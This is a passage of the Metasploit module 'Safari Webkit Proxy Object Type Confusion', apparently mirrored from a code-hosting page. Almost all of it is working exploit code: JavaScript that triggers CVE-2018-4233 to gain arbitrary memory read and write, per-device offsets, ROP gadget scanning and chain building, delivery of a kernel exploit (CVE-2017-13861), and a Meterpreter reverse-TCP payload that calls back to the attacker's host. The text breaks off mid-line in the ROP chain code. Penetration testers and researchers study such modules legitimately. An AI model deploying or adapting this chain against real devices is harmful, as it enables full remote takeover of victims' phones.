Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/apple_ios/browser/webkit_createthis.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ManualRanking78include Msf::Post::File9include Msf::Exploit::EXE10include Msf::Exploit::Remote::HttpServer1112def initialize(info = {})13super(update_info(info,14'Name' => 'Safari Webkit Proxy Object Type Confusion',15'Description' => %q{16This module exploits a type confusion bug in the Javascript Proxy object in17WebKit. The DFG JIT does not take into account that, through the use of a Proxy,18it is possible to run arbitrary JS code during the execution of a CreateThis19operation. This makes it possible to change the structure of e.g. an argument20without causing a bailout, leading to a type confusion (CVE-2018-4233).2122The type confusion leads to the ability to allocate fake Javascript objects,23as well as the ability to find the address in memory of a Javascript object.24This allows us to construct a fake JSCell object that can be used to read25and write arbitrary memory from Javascript. The module then uses a ROP chain26to write the first stage shellcode into executable memory within the Safari27process and kick off its execution.2829The first stage maps the second stage macho (containing CVE-2017-13861) into30executable memory, and jumps to its entrypoint. The CVE-2017-13861 async_wake31exploit leads to a kernel task port (TFP0) that can read and write arbitrary32kernel memory. The processes credential and sandbox structure in the kernel33is overwritten and the meterpreter payloads code signature hash is added to34the kernels trust cache, allowing Safari to load and execute the (self-signed)35meterpreter payload.36},37'License' => MSF_LICENSE,38'Author' => [39'saelo',40'niklasb',41'Ian Beer',42'siguza',43],44'References' => [45['CVE', '2018-4233'],46['CVE', '2017-13861'],47['URL', 'https://github.com/saelo/cve-2018-4233'],48['URL', 'https://github.com/phoenhex/files/tree/master/exploits/ios-11.3.1'],49['URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1417'],50['URL', 'https://github.com/JakeBlair420/totally-not-spyware/blob/master/root/js/spyware.js'],51],52'Arch' => ARCH_AARCH64,53'Platform' => 'apple_ios',54'DefaultTarget' => 0,55'DefaultOptions' => { 'PAYLOAD' => 'apple_ios/aarch64/meterpreter_reverse_tcp' },56'Targets' => [[ 'Automatic', {} ]],57'DisclosureDate' => '2018-03-15'))58register_advanced_options([59OptBool.new('DEBUG_EXPLOIT', [false, "Show debug information in the exploit javascript", false]),60OptBool.new('DUMP_OFFSETS', [false, "Show newly found offsets in a javascript prompt", false]),61])62end6364def payload_url65"tcp://#{datastore["LHOST"]}:#{datastore["LPORT"]}"66end6768def get_version(user_agent)69if user_agent =~ /OS (.*?) like Mac OS X\)/70ios_version = Rex::Version.new($1.gsub("_", "."))71return ios_version72end73fail_with Failure::NotVulnerable, 'Target is not vulnerable'74end7576def on_request_uri(cli, request)77if request.uri =~ %r{/apple-touch-icon*}78return79elsif request.uri =~ %r{/favicon*}80return81elsif request.uri =~ %r{/payload10$*}82payload_data = MetasploitPayloads::Mettle.new('aarch64-iphone-darwin').to_binary :dylib_sha183send_response(cli, payload_data, {'Content-Type'=>'application/octet-stream'})84print_good("Sent sha1 iOS 10 payload")85return86elsif request.uri =~ %r{/payload11$*}87payload_data = MetasploitPayloads::Mettle.new('aarch64-iphone-darwin').to_binary :dylib88send_response(cli, payload_data, {'Content-Type'=>'application/octet-stream'})89print_good("Sent sha256 iOS 11 payload")90return91end9293user_agent = request['User-Agent']94print_status("Requesting #{request.uri} from #{user_agent}")95version = get_version(user_agent)96ios_11 = (version >= Rex::Version.new('11.0.0'))97if request.uri =~ %r{/exploit$}98loader_data = exploit_data('CVE-2017-13861', 'exploit')99srvhost = Rex::Socket.resolv_nbo_i(srvhost_addr)100config = [srvhost, srvport].pack("Nn") + payload_url101payload_url_index = loader_data.index('PAYLOAD_URL')102loader_data[payload_url_index, config.length] = config103print_good("Sent async_wake exploit")104send_response(cli, loader_data, {'Content-Type'=>'application/octet-stream'})105return106end107108get_mem_rw_ios_10 = %Q^109function get_mem_rw(stage1) {110var structs = [];111function sprayStructures() {112function randomString() {113return Math.random().toString(36).replace(/[\^a-z]+/g, "").substr(0, 5)114}115for (var i = 0; i < 4096; i++) {116var a = new Float64Array(1);117a[randomString()] = 1337;118structs.push(a)119}120}121sprayStructures();122var hax = new Uint8Array(4096);123var jsCellHeader = new Int64([0, 16, 0, 0, 0, 39, 24, 1]);124var container = {125jsCellHeader: jsCellHeader.asJSValue(),126butterfly: false,127vector: hax,128lengthAndFlags: (new Int64("0x0001000000000010")).asJSValue()129};130var address = Add(stage1.addrof(container), 16);131var fakearray = stage1.fakeobj(address);132while (!(fakearray instanceof Float64Array)) {133jsCellHeader.assignAdd(jsCellHeader, Int64.One);134container.jsCellHeader = jsCellHeader.asJSValue()135}136memory = {137read: function(addr, length) {138fakearray[2] = i2f(addr);139var a = new Array(length);140for (var i = 0; i < length; i++) a[i] = hax[i];141return a142},143readInt64: function(addr) {144return new Int64(this.read(addr, 8))145},146write: function(addr, data) {147fakearray[2] = i2f(addr);148for (var i = 0; i < data.length; i++) hax[i] = data[i]149},150writeInt64: function(addr, val) {151return this.write(addr, val.bytes())152},153};154var empty = {};155var header = memory.read(stage1.addrof(empty), 8);156memory.write(stage1.addrof(container), header);157var f64array = new Float64Array(8);158header = memory.read(stage1.addrof(f64array), 16);159memory.write(stage1.addrof(fakearray), header);160memory.write(Add(stage1.addrof(fakearray), 24), [16, 0, 0, 0, 1, 0, 0, 0]);161fakearray.container = container;162return memory;163}164^165166get_mem_rw_ios_11 = %Q^167function get_mem_rw(stage1) {168var FPO = typeof(SharedArrayBuffer) === 'undefined' ? 0x18 : 0x10;169var structure_spray = []170for (var i = 0; i < 1000; ++i) {171var ary = {a:1,b:2,c:3,d:4,e:5,f:6,g:0xfffffff}172ary['prop'+i] = 1173structure_spray.push(ary)174}175var manager = structure_spray[500]176var leak_addr = stage1.addrof(manager)177//print('leaking from: '+ hex(leak_addr))178function alloc_above_manager(expr) {179var res180do {181for (var i = 0; i < ALLOCS; ++i) {182structure_spray.push(eval(expr))183}184res = eval(expr)185} while (stage1.addrof(res) < leak_addr)186return res187}188var unboxed_size = 100189var unboxed = alloc_above_manager('[' + '13.37,'.repeat(unboxed_size) + ']')190var boxed = alloc_above_manager('[{}]')191var victim = alloc_above_manager('[]')192// Will be stored out-of-line at butterfly - 0x10193victim.p0 = 0x1337194function victim_write(val) {195victim.p0 = val196}197function victim_read() {198return victim.p0199}200i32[0] = 0x200 // Structure ID201i32[1] = 0x01082007 - 0x10000 // Fake JSCell metadata, adjusted for boxing202var outer = {203p0: 0, // Padding, so that the rest of inline properties are 16-byte aligned204p1: f64[0],205p2: manager,206p3: 0xfffffff, // Butterfly indexing mask207}208var fake_addr = stage1.addrof(outer) + FPO + 0x8;209//print('fake obj @ ' + hex(fake_addr))210var unboxed_addr = stage1.addrof(unboxed)211var boxed_addr = stage1.addrof(boxed)212var victim_addr = stage1.addrof(victim)213//print('leak ' + hex(leak_addr)214//+ ' unboxed ' + hex(unboxed_addr)215//+ ' boxed ' + hex(boxed_addr)216//+ ' victim ' + hex(victim_addr))217var holder = {fake: {}}218holder.fake = stage1.fakeobj(fake_addr)219// From here on GC would be uncool220// Share a butterfly for easier boxing/unboxing221var shared_butterfly = f2i(holder.fake[(unboxed_addr + 8 - leak_addr) / 8])222var boxed_butterfly = holder.fake[(boxed_addr + 8 - leak_addr) / 8]223holder.fake[(boxed_addr + 8 - leak_addr) / 8] = i2f(shared_butterfly)224var victim_butterfly = holder.fake[(victim_addr + 8 - leak_addr) / 8]225function set_victim_addr(where) {226holder.fake[(victim_addr + 8 - leak_addr) / 8] = i2f(where + 0x10)227}228function reset_victim_addr() {229holder.fake[(victim_addr + 8 - leak_addr) / 8] = victim_butterfly230}231var stage2 = {232addrof: function(victim) {233boxed[0] = victim234return f2i(unboxed[0])235},236fakeobj: function(addr) {237unboxed[0] = i2f(addr)238return boxed[0]239},240write64: function(where, what) {241set_victim_addr(where)242victim_write(this.fakeobj(what))243reset_victim_addr()244},245read64: function(where) {246set_victim_addr(where)247var res = this.addrof(victim_read())248reset_victim_addr()249return res;250},251write_non_zero: function(where, values) {252for (var i = 0; i < values.length; ++i) {253if (values[i] != 0)254this.write64(where + i*8, values[i])255}256},257readInt64: function(where) {258if (where instanceof Int64) {259where = Add(where, 0x10);260holder.fake[(victim_addr + 8 - leak_addr) / 8] = where.asDouble();261} else {262set_victim_addr(where);263}264boxed[0] = victim_read();265var res = f2i(unboxed[0]);266reset_victim_addr();267return new Int64(res);268},269read: function(addr, length) {270var address = new Int64(addr);271var a = new Array(length);272var i;273274for (i = 0; i + 8 < length; i += 8) {275v = this.readInt64(Add(address, i)).bytes()276for (var j = 0; j < 8; j++) {277a[i+j] = v[j];278}279}280281v = this.readInt64(Add(address, i)).bytes()282for (var j = i; j < length; j++) {283a[j] = v[j - i];284}285286return a287},288test: function() {289this.write64(boxed_addr + 0x10, 0xfff) // Overwrite index mask, no biggie290if (0xfff != this.read64(boxed_addr + 0x10)) {291fail(2)292}293},294}295// Test read/write296stage2.test()297return stage2;298}299^300301get_mem_rw = (version >= Rex::Version.new('11.2.2')) ? get_mem_rw_ios_11 : get_mem_rw_ios_10302utils = exploit_data "javascript_utils", "utils.js"303int64 = exploit_data "javascript_utils", "int64.js"304dump_offsets = ''305if datastore['DUMP_OFFSETS']306dump_offsets = %Q^307var offsetstr = uuid + " : { ";308var offsetarray = [ "_dlsym", "_dlopen", "__longjmp", "regloader", "dispatch", "stackloader", "movx4", "ldrx8", "_mach_task_self_", "__kernelrpc_mach_vm_protect_trap", "__platform_memmove",309"__ZN3JSC30endOfFixedExecutableMemoryPoolE", "__ZN3JSC29jitWriteSeparateHeapsFunctionE", "__ZN3JSC32startOfFixedExecutableMemoryPoolE", ];310for (var i = 0; i < offsetarray.length; i++) {311var offset = offsets[offsetarray[i]];312if (offset) {313var offsethex = Sub(offset, cache_slide).toString().replace("0x0000000", "0x");314offsetstr += "\\"" + offsetarray[i] + "\\" : " + offsethex + ", ";315}316}317offsetstr += "}, ";318prompt("offsets: ", offsetstr);319^320end321322html = %Q^323<html>324<body>325<script>326327#{utils}328#{int64}329330print = alert;331ITERS = 1E4;332ALLOCS = 1E3;333334var conversion_buffer = new ArrayBuffer(8);335var f64 = new Float64Array(conversion_buffer);336var i32 = new Uint32Array(conversion_buffer);337var BASE32 = 0x100000000;338339function f2i(f) {340f64[0] = f;341return i32[0] + BASE32 * i32[1];342}343344function i2f(i) {345i32[0] = i % BASE32;346i32[1] = i / BASE32;347return f64[0];348}349350function hexit(x) {351if (x instanceof Int64) return x.toString();352if (x < 0) return "-" + hex(-x);353return "0x" + x.toString(16);354}355356function fail(x) {357print('FAIL ' + x);358location.reload();359throw null;360}361362counter = 0;363364// CVE-2018-4233365function trigger(constr, modify, res, val) {366return eval(`367var o = [13.37]368var Constructor${counter} = function(o) { ${constr} }369var hack = false370var Wrapper = new Proxy(Constructor${counter}, {371get: function() {372if (hack) {373${modify}374}375}376})377for (var i = 0; i < ITERS; ++i)378new Wrapper(o)379hack = true380var bar = new Wrapper(o)381${res}382`)383}384385var workbuf = new ArrayBuffer(0x1000000);386var payload = new Uint8Array(workbuf);387388function pwn() {389var stage1 = {390addrof: function(victim) {391return f2i(trigger("this.result = o[0]", "o[0] = val", "bar.result", victim))392},393fakeobj: function(addr) {394return trigger("o[0] = val", "o[0] = {}", "o[0]", i2f(addr))395},396test: function() {397var addr = this.addrof({398a: 4919399});400var x = this.fakeobj(addr);401if (x.a != 4919) fail("stage1")402}403};404stage1.test();405406var stage2 = get_mem_rw(stage1);407var FPO = #{ios_11 ? "(typeof(SharedArrayBuffer) === 'undefined') ? 0x20 : 0x18;" : "0x18;"}408var memory = stage2;409memory.u32 = _u32;410411var wrapper = document.createElement("div");412var wrapper_addr = stage1.addrof(wrapper);413var el_addr = memory.readInt64(wrapper_addr + FPO);414var vtab = memory.readInt64(el_addr);415416var anchor = memory.readInt64(vtab);417var hdr = Sub(anchor, anchor.lo() & 0xfff);418var b = [];419while(true)420{421if (memory.readInt64(hdr).lo() == 4277009104) {422fail('WebCore ' + hdr + ' post spectre support coming soon');423}424if(strcmp(memory.read(hdr, 0x10), "dyld_v1 arm64"))425{426break;427}428hdr = Sub(hdr, 0x1000);429}430431var base_seg = null;432var nsegs = memory.u32(Add(hdr, 0x14));433var segdata = memory.read(Add(hdr, memory.u32(Add(hdr, 0x10))), nsegs * 0x20);434var segs = [];435for(var i = 0; i < nsegs; ++i)436{437var off = i * 0x20;438var seg =439{440addr: new Int64(segdata.slice(off + 0x0, off + 0x8)),441size: new Int64(segdata.slice(off + 0x8, off + 0x10)),442fileoff: new Int64(segdata.slice(off + 0x10, off + 0x18)),443maxprot: b2u32(segdata.slice(off + 0x18, off + 0x1c)),444initprot: b2u32(segdata.slice(off + 0x1c, off + 0x20))445};446segs.push(seg);447if(seg.fileoff.hi() == 0 && seg.fileoff.lo() == 0 && (seg.size.hi() != 0 || seg.size.lo() != 0))448{449base_seg = seg;450}451}452if(base_seg == null)453{454fail("base_seg");455}456457var cache_slide = Sub(hdr, base_seg.addr);458var uuid = memory.readInt64(Add(hdr, 0x58)).lo();459var offset_cache = {460// iPod Touch 10.1.1461788795426 : { "_dlsym" : 0x18052ddd8, "_dlopen" : 0x18052dd10, "__longjmp" : 0x1806ffb78, "regloader" : 0x180f0622c, "dispatch" : 0x180d7e058, "stackloader" : 0x18099a8e8, "_mach_task_self_" : 0x1a586e3bc,462"__kernelrpc_mach_vm_protect_trap" : 0x1806240a4, "__platform_memmove" : 0x1806ffe00, "__ZN3JSC30endOfFixedExecutableMemoryPoolE" : 0x1a457c438, },463464// iPhone 5S 10.2.14653432281541 : { "_dlsym" : 0x18052edd8, "_dlopen" : 0x18052ed10, "__longjmp" : 0x180700b78, "regloader" : 0x180f07230, "dispatch" : 0x180d7f05c, "stackloader" : 0x18099b8ec, "mach_task_self" : 0x1a6da23bc,466"__kernelrpc_mach_vm_protect_trap" : 0x1806250c0, "__platform_memmove" : 0x180700e00, "__ZN3JSC30endOfFixedExecutableMemoryPoolE" : 0x1a5a0d438, },467468// iPhone 6S 11.0.3469425478416 : { "_dlsym" : 0x180587574, "_dlopen" : 0x180587460, "__longjmp" : 0x1807bd7dc, "regloader" : 0x180051ad8, "dispatch" : 0x19b323a4c, "stackloader" : 0x19b2e6f40, "movx4" : 0x19b33305c,470"ldrx8" : 0x180060028, "__ZN3JSC30endOfFixedExecutableMemoryPoolE" : 0x1b15d8a00, "__ZN3JSC29jitWriteSeparateHeapsFunctionE" : 0x1b15d8a08, "__ZN3JSC32startOfFixedExecutableMemoryPoolE" : 0x1b15d89f8, },471};472473var offsets = offset_cache[uuid];474if (offsets)475{476var k = Object.keys(offsets);477for(var i = 0; i < k.length; ++i)478{479var s = k[i];480offsets[s] = Add(offsets[s], cache_slide);481}482}483else484{485var syms = {};486var gadgets = {};487488for(var i = 0; i < segs.length; ++i)489{490segs[i].addr = Add(segs[i].addr, cache_slide);491}492var libs =493{494"/usr/lib/system/libdyld.dylib": ["_dlsym", "_dlopen"],495#{ ios_11 ? '496"/System/Library/Frameworks/JavaScriptCore.framework/JavaScriptCore": ["__ZN3JSC29jitWriteSeparateHeapsFunctionE"],497"/usr/lib/system/libsystem_platform.dylib": ["__longjmp"],498' : '499"/usr/lib/system/libsystem_platform.dylib": ["__longjmp", "__platform_memmove"],500"/usr/lib/system/libsystem_kernel.dylib": ["_mach_task_self_", "__kernelrpc_mach_vm_protect_trap"],501"/System/Library/Frameworks/JavaScriptCore.framework/JavaScriptCore": ["__ZN3JSC30endOfFixedExecutableMemoryPoolE"],502'}503}504505#{ ios_11 ? '506var opcodes = {507// ldr x8, [sp] ; str x8, [x19] ; ldp x29, x30, [sp, #0x20] ; ldp x20, x19, [sp, #0x10] ; add sp, sp, #0x30 ; ret508"ldrx8": [ [0xf94003e8, 0xf9000268, 0xa9427bfd, 0xa9414ff4, 0x9100c3ff, 0xd65f03c0] ],509// blr x21; ldp x29, x30, [sp, 0x30]; ldp x20, x19, [sp, 0x20]; ldp x22, x21, [sp, 0x10]; add sp, sp, 0x40; ret510"dispatch": [ [ 0xd63f02a0, 0xa9437bfd, 0xa9424ff4, 0xa94157f6, 0x910103ff, 0xd65f03c0 ] ],511// mov x3, x22 ; mov x6, x27 ; mov x0, x24 ; mov x1, x19 ; mov x2, x23 ; ldr x4, [sp] ; blr x8512"regloader": [ [ 0xaa1603e3, 0xaa1b03e6, 0xaa1803e0, 0xaa1303e1, 0xaa1703e2, 0xf94003e4, 0xd63f0100 ] ],513// ldp x29, x30, [sp, 0x60]; ldp x20, x19, [sp, 0x50]; ldp x22, x21, [sp, 0x40]; ldp x24, x23, [sp, 0x30];514// ldp x26, x25, [sp, 0x20]; ldp x28, x27, [sp, 0x10]; add sp, sp, 0x70; ret515"stackloader": [ [ 0xa9467bfd, 0xa9454ff4, 0xa94457f6, 0xa9435ff8, 0xa94267fa, 0xa9416ffc, 0x9101c3ff, 0xd65f03c0 ] ],516// mov x4, x20 ; blr x8517"movx4": [ [ 0xaa1403e4, 0xd63f0100 ] ],518}519var opcode_libs = [520"/usr/lib/PN548.dylib", // dispatch, stackloader521"/usr/lib/libc++.1.dylib", // ldrx8, regloader, movx4, stackloader522];523524' : '525var opcodes = {526// mov x0, x23; mov x1, x22; mov x2, x24; mov x3, x25; mov x4, x26; mov x5, x27; blr x28527"regloader": [ [ 0xaa1703e0, 0xaa1603e1, 0xaa1803e2, 0xaa1903e3, 0xaa1a03e4, 0xaa1b03e5, 0xd63f0380 ] ],528"dispatch": [529// blr x21; ldp x29, x30, [sp, 0x30]; ldp x20, x19, [sp, 0x20]; ldp x22, x21, [sp, 0x10]; add sp, sp, 0x40; ret530[ 0xd63f02a0, 0xa9437bfd, 0xa9424ff4, 0xa94157f6, 0x910103ff, 0xd65f03c0 ],531// blr x21; sub sp, x29, 0x20; ldp x29, x30, [sp, 0x20]; ldp x20, x19, [sp, 0x10]; ldp x22, x21, [sp], 0x30; ret532[ 0xd63f02a0, 0xd10083bf, 0xa9427bfd, 0xa9414ff4, 0xa8c357f6, 0xd65f03c0 ],533],534"stackloader": [535// ldp x29, x30, [sp, 0x60]; ldp x20, x19, [sp, 0x50]; ldp x22, x21, [sp, 0x40]; ldp x24, x23, [sp, 0x30];536// ldp x26, x25, [sp, 0x20]; ldp x28, x27, [sp, 0x10]; add sp, sp, 0x70; ret537[ 0xa9467bfd, 0xa9454ff4, 0xa94457f6, 0xa9435ff8, 0xa94267fa, 0xa9416ffc, 0x9101c3ff, 0xd65f03c0 ],538// sub sp, x29, 0x50; ldp x29, x30, [sp, 0x50]; ldp x20, x19, [sp, 0x40]; ldp x22, x21, [sp, 0x30];539// ldp x24, x23, [sp, 0x20]; ldp x26, x25, [sp, 0x10]; ldp x28, x27, [sp], 0x60; ret540[ 0xd10143bf, 0xa9457bfd, 0xa9444ff4, 0xa94357f6, 0xa9425ff8, 0xa94167fa, 0xa8c66ffc, 0xd65f03c0 ],541],542};543544var opcode_libs = [ "/usr/lib/libLLVM.dylib" ];545'}546547var imgs = Add(hdr, memory.u32(Add(hdr, 0x18)));548var nimgs = memory.u32(Add(hdr, 0x1c));549for(var i = 0; i < nimgs; ++i)550{551var straddr = off2addr(segs, memory.u32(Add(imgs, i * 0x20 + 0x18)));552var fn = function(i)553{554return memory.read(Add(straddr, i), 1)[0];555};556var base = Add(memory.readInt64(Add(imgs, i * 0x20)), cache_slide);557if(opcode_libs.some(lib => strcmp(fn, lib)))558{559var ncmds = memory.u32(Add(base, 0x10));560for(var j = 0, off = 0x20; j < ncmds; ++j)561{562var cmd = memory.u32(Add(base, off));563if(cmd == 0x19 && strcmp(memory.read(Add(base, off + 0x8), 0x10), "__TEXT")) // LC_SEGMENT_64564{565var nsects = memory.u32(Add(base, off + 0x40));566for(var k = 0, o = off + 0x48; k < nsects; ++k)567{568if(strcmp(memory.read(Add(base, o), 0x10), "__text"))569{570var keys = Object.keys(opcodes).filter(k=>!gadgets.hasOwnProperty[k])571if (keys.length == 0) break;572573var addr = Add(memory.readInt64(Add(base, o + 0x20)), cache_slide)574var size = memory.u32(Add(base, o + 0x28))575576// Copy the entire __text region into a Uint32Array for faster processing.577// Previously you could map a Uint32Array over the data, but on i7+ devices578// this caused access violations.579// Instead we read the entire region and copy it into a Uint32Array. The580// memory.read primitive has a weird limitation where it's only able to read581// up to 4096 bytes. to get around this we'll read multiple times and combine582// them into one.583584var allData = new Uint32Array(size / 4)585for (var r = 0; r < size; r += 4096) {586// Check to ensure we don't read out of the region we want587var qty = 4096588if (size - r < qty) {589qty = size - r590}591var data = memory.read(Add(addr, r), qty)592593// Data is an array of single bytes. This code takes four entries594// and converts them into a single 32-bit integer. It then adds it595// into the `allData` array at the given index596for (var h = 0; h < qty; h += 4) {597var fourBytes = b2u32(data.slice(h, h + 4))598allData[(r + h) / 4] = fourBytes599}600}601602// Loop through the entire data map looking for each gadget we need603for (var f = 0; f < size && keys.length > 0; f++) {604605// Check every gadget606for (var z = 0; z < keys.length; z++) {607var key = keys[z];608var opcode_list = opcodes[key];609for (var y = 0; y < opcode_list.length; y++) {610var opcode = opcode_list[y];611for (var t = 0; t < opcode.length; t++) {612var op = allData[f+t];613if (op == opcode[t]) {614if (t == opcode.length - 1) {615gadgets[key] = Add(addr, f*4);616keys.splice(z, 1);617z = keys.length;618break;619}620continue;621}622break;623}624}625}626}627628break;629}630o += 0x50;631}632break;633}634off += memory.u32(Add(base, off + 0x4));635}636continue;637}638var lookup = null;639for(var k = Object.keys(libs), j = 0; j < k.length; ++j)640{641if(strcmp(fn, k[j]))642{643lookup = libs[k[j]];644break;645}646}647if(lookup != null)648{649fsyms(memory, base, segs, lookup, syms);650}651}652653var vals = Object.keys(libs).map(function(key) {654return libs[key];655});656var k = vals.reduce(function(p,c){ c.forEach(function(e){ p.push(e) });return p; }, []);657for(var i = 0; i < k.length; ++i)658{659var s = k[i];660if(syms[s] == null)661{662fail(s);663}664syms[s] = Add(syms[s], cache_slide);665}666k = Object.keys(opcodes);667for(var i = 0; i < k.length; ++i)668{669var s = k[i];670if(gadgets[s] == null)671{672fail(s);673}674}675676offsets = {}677offsets["regloader"] = gadgets["regloader"];678offsets["dispatch"] = gadgets["dispatch"];679offsets["stackloader"] = gadgets["stackloader"];680offsets["ldrx8"] = gadgets["ldrx8"];681offsets["movx4"] = gadgets["movx4"];682offsets["__longjmp"] = syms["__longjmp"];683offsets["__kernelrpc_mach_vm_protect_trap"] = syms["__kernelrpc_mach_vm_protect_trap"];684offsets["__platform_memmove"] = syms["__platform_memmove"];685offsets["_dlopen"] = syms["_dlopen"];686offsets["_dlsym"] = syms["_dlsym"];687offsets["_mach_task_self_"] = syms["_mach_task_self_"];688offsets["__ZN3JSC32startOfFixedExecutableMemoryPoolE"] = syms["__ZN3JSC32startOfFixedExecutableMemoryPoolE"];689offsets["__ZN3JSC30endOfFixedExecutableMemoryPoolE"] = syms["__ZN3JSC30endOfFixedExecutableMemoryPoolE"];690offsets["__ZN3JSC29jitWriteSeparateHeapsFunctionE"] = syms["__ZN3JSC29jitWriteSeparateHeapsFunctionE"];691692if (offsets["__ZN3JSC30endOfFixedExecutableMemoryPoolE"] == null && offsets["__ZN3JSC29jitWriteSeparateHeapsFunctionE"] != null) {693offsets["__ZN3JSC30endOfFixedExecutableMemoryPoolE"] = Sub(offsets["__ZN3JSC29jitWriteSeparateHeapsFunctionE"], 8);694}695#{ ios_11 ? '696if (offsets["__ZN3JSC32startOfFixedExecutableMemoryPoolE"] == null && offsets["__ZN3JSC30endOfFixedExecutableMemoryPoolE"] != null) {697offsets["__ZN3JSC32startOfFixedExecutableMemoryPoolE"] = Sub(offsets["__ZN3JSC30endOfFixedExecutableMemoryPoolE"], 8);698}' : ''}699700#{dump_offsets}701702}703704705var regloader = offsets["regloader"];706var dispatch = offsets["dispatch"];707var stackloader = offsets["stackloader"];708var longjmp = offsets["__longjmp"];709var mach_vm_protect = offsets["__kernelrpc_mach_vm_protect_trap"];710var memmove = offsets["__platform_memmove"];711var dlopen = offsets["_dlopen"];712var dlsym = offsets["_dlsym"];713var task_self = offsets["_mach_task_self_"]714var endOfFixedMem = offsets["__ZN3JSC30endOfFixedExecutableMemoryPoolE"];715var startOfFixedMem = offsets["__ZN3JSC32startOfFixedExecutableMemoryPoolE"];716717var ldrx8 = offsets["ldrx8"]; // might be null718var movx4 = offsets["movx4"]; // might be null719720var mach_task_self_ = new Int64(memory.readInt64(task_self).lo());721var memPoolEnd = memory.readInt64(endOfFixedMem);722723var memPoolStart = Int64.Zero;724if (startOfFixedMem) {725memPoolStart = memory.readInt64(startOfFixedMem);726}727728var jitWriteSeparateHeaps = Int64.Zero;729if (offsets["__ZN3JSC29jitWriteSeparateHeapsFunctionE"]) {730jitWriteSeparateHeaps = memory.readInt64(offsets["__ZN3JSC29jitWriteSeparateHeapsFunctionE"]);731}732733var shsz = new Int64("0x100000");734var paddr = memory.readInt64(Add(stage1.addrof(payload), 0x10));735var codeAddr = Sub(memPoolEnd, shsz);736codeAddr = Sub(codeAddr, codeAddr.lo() & 0x3fff);737738memory.writeInt64(Add(vtab, 0x18), longjmp);739memory.writeInt64(Add(el_addr, 0x58), stackloader); // x30 (gadget)740741var arrsz = 0x100000,742off = 0x1000;743var arr = new Uint32Array(arrsz);744var stack = memory.readInt64(Add(stage1.addrof(arr), 0x10));745746var pos = arrsz - off;747748var add_call_llvm = function(func, x0, x1, x2, x3, x4, jump_to) {749x4 = x4 || Int64.Zero750751// in stackloader:752arr[pos++] = 0xdead0010; // unused753arr[pos++] = 0xdead0011; // unused754arr[pos++] = 0xdead0012; // unused755arr[pos++] = 0xdead0013; // unused756arr[pos++] = dispatch.lo(); // x28 (gadget for regloader)757arr[pos++] = dispatch.hi(); // x28 (gadget for regloader)758arr[pos++] = 0xdead0014; // x27 (unused)759arr[pos++] = 0xdead0015; // x27 (unused)760arr[pos++] = x4.lo(); // x26 == x4 (arg5)761arr[pos++] = x4.hi(); // x26 == x4 (arg5)762arr[pos++] = x3.lo(); // x25 == x3 (arg4)763arr[pos++] = x3.hi(); // x25 == x3 (arg4)764arr[pos++] = x2.lo(); // x24 == x2 (arg3)765arr[pos++] = x2.hi(); // x24 == x2 (arg3)766arr[pos++] = x0.lo(); // x23 == x0 (arg1)767arr[pos++] = x0.hi(); // x23 == x0 (arg1)768arr[pos++] = x1.lo(); // x22 == x1 (arg2)769arr[pos++] = x1.hi(); // x22 == x1 (arg2)770arr[pos++] = func.lo(); // x21 (func)771arr[pos++] = func.hi(); // x21 (func)772arr[pos++] = 0xdbad0018; // x20 (unused)773arr[pos++] = 0xdbad0019; // x20 (unused)774arr[pos++] = 0xdead001a; // x19 (unused)775arr[pos++] = 0xdead001b; // x19 (unused)776var tmppos = pos;777arr[pos++] = Add(stack, tmppos*4 + 0x40).lo(); // x29778arr[pos++] = Add(stack, tmppos*4 + 0x40).hi(); // x29779arr[pos++] = regloader.lo(); // x30 (first gadget)780arr[pos++] = regloader.hi(); // x30 (first gadget)781782// after dispatch:783arr[pos++] = 0xdead0020; // unused784arr[pos++] = 0xdead0021; // unused785arr[pos++] = 0xdead0022; // unused786arr[pos++] = 0xdead0023; // unused787arr[pos++] = 0xdead0024; // x22 (unused)788arr[pos++] = 0xdead0025; // x22 (unused)789arr[pos++] = 0xdead0026; // x21 (unused)790arr[pos++] = 0xdead0027; // x21 (unused)791arr[pos++] = 0xdead0028; // x20 (unused)792arr[pos++] = 0xdead0029; // x20 (unused)793arr[pos++] = 0xdead002a; // x19 (unused)794arr[pos++] = 0xdead002b; // x19 (unused)795tmppos = pos;796arr[pos++] = Add(stack, tmppos*4 + 0x70).lo(); // x29797arr[pos++] = Add(stack, tmppos*4 + 0x70).hi(); // x29798arr[pos++] = jump_to.lo(); // x30 (gadget)799arr[pos++] = jump_to.hi(); // x30 (gadget)800}801802var add_call_via_x8 = function(func, x0, x1, x2, x3, x4, jump_to) {803//alert(`add_call_via_x8: ${func}(${x0}, ${x1}, ${x2}, ${x3}, ${x4}, ${jump_to})`);804//x4 = x4 || Int64.One805// in stackloader:806arr[pos++] = 0xdead0010; // unused807arr[pos++] = 0xdead0011; // unused808arr[pos++] = 0xdead0012; // unused809arr[pos++] = 0xdead0013; // unused810arr[pos++] = 0xdead1101; // x28 (unused)811arr[pos++] = 0xdead1102; // x28 (unused)812arr[pos++] = 0xdead0014; // x27 == x6 (unused)813arr[pos++] = 0xdead0015; // x27 == x6 (unused)814arr[pos++] = 0xdead0016; // x26 (unused)815arr[pos++] = 0xdead0017; // x26 (unused)816arr[pos++] = x3.lo(); // x25 == x3 (arg4)817arr[pos++] = x3.hi(); // x25 == x3 (arg4)818arr[pos++] = x0.lo(); // x24 == x0 (arg1)819arr[pos++] = x0.hi(); // x24 == x0 (arg1)820arr[pos++] = x2.lo(); // x23 == x2 (arg3)821arr[pos++] = x2.hi(); // x23 == x2 (arg3)822arr[pos++] = x3.lo(); // x22 == x3 (arg4)823arr[pos++] = x3.hi(); // x22 == x3 (arg4)824arr[pos++] = func.lo(); // x21 (target for dispatch)825arr[pos++] = func.hi(); // x21 (target for dispatch)826arr[pos++] = 0xdead0018; // x20 (unused)827arr[pos++] = 0xdead0019; // x20 (unused)828var tmppos = pos;829arr[pos++] = Add(stack, tmppos*4).lo(); // x19 (scratch address for str x8, [x19])830arr[pos++] = Add(stack, tmppos*4).hi(); // x19 (scratch address for str x8, [x19])831arr[pos++] = 0xdead001c; // x29 (unused)832arr[pos++] = 0xdead001d; // x29 (unused)833arr[pos++] = ldrx8.lo(); // x30 (next gadget)834arr[pos++] = ldrx8.hi(); // 